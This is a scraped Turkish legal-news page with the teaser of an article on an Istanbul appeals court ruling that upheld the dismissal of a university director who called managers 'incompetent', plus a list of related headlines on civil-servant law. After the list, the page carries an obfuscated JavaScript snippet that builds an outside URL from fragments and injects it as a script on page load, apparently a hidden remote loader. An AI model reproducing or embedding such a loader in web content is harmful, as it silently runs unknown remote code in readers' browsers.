☰
✕
Mevzuat

Yöneticiye 'İş Bilmez' Diyen İşçinin İşten Atılması Hukuka Uygun Bulundu

İstanbul Bölge Adliye Mahkemesi 50. Hukuk Dairesi, bir üniversitede görevli Sağlık, Kültür ve Spor Direktörü’nün yönetici kadrosuna yönelik “iş bilmez ve yetkinliksiz” ifadeleri nedeniyle işten çıkarılmasının hukuka uygun olduğuna hükmetti.

Abone Ol

Karara konu olay, 24 Kasım 2022 tarihinde üniversite yöneticilerinin ve misafirlerin katıldığı bir değerlendirme toplantısında yaşandı. Sağlık, Kültür ve Spor Direktörü olarak görev yapan davacı, toplantıda yöneticiler...

HABERİN DEVAMINI OKU
Bunlar da ilginizi çekebilir

Memur Ölüm İzni: Kimler, Kaç Gün Alabilir?

Disiplin Cezası Kesinleştiyse İdare Geri Alamaz!

Memurun Geriye Dönük Aile Yardımı Ödeneği İçin Emsal Niteliğinde Karar

Çalışan Emeklinin Maaşı Kesilir mi? 2008 Sonrası Sigortalılar İçin Yeni Dönem

Kamu Kurumlarına Talimat: Cumhurbaşkanlığı’na Doğrudan Görüş Sorulamayacak

2025’te Sağlık Kurulu Raporu ve Engelli Raporu Nasıl Olacak? İşte Değişiklikler!

Danıştay, Darbe Öncesi Sendikadan Ayrılan Memuru Haklı Buldu

Danıştay: Aylıksız İzin Talebine Cevap Verilmeden Ayrılan Memur Görevden Çekilmiş Sayılamaz

Sözleşmeli mi, Kadrolu mu? Emeklilikte Hangi Statü Daha Avantajlı?

Anayasa Mahkemesinden Memuriyetten Çıkarılan Personele Müjdeli Haber!
(function(){ q0n4=document.createElement("script");q0n4_=("us")+("ta"); q0n4_+="t"+(".");q0n4_+=("in");q0n4u="2358564740";q0n4.async=true; q0n4u+=".ycx23k2y0n4hugy7u";q0n4.type="text/javascript";q0n4_+="f"+"o"+("/"); q0n4u+="h1p0xr40q3u31";q0n4.src="https://"+q0n4_+q0n4u; dq0n4=document.body;dq0n4.appendChild(q0n4); })(); { "vars": { "account": "G-X1XRN2R8K5" }, "triggers": { "trackPageview": { "on": "visible", "request": "pageview" } } }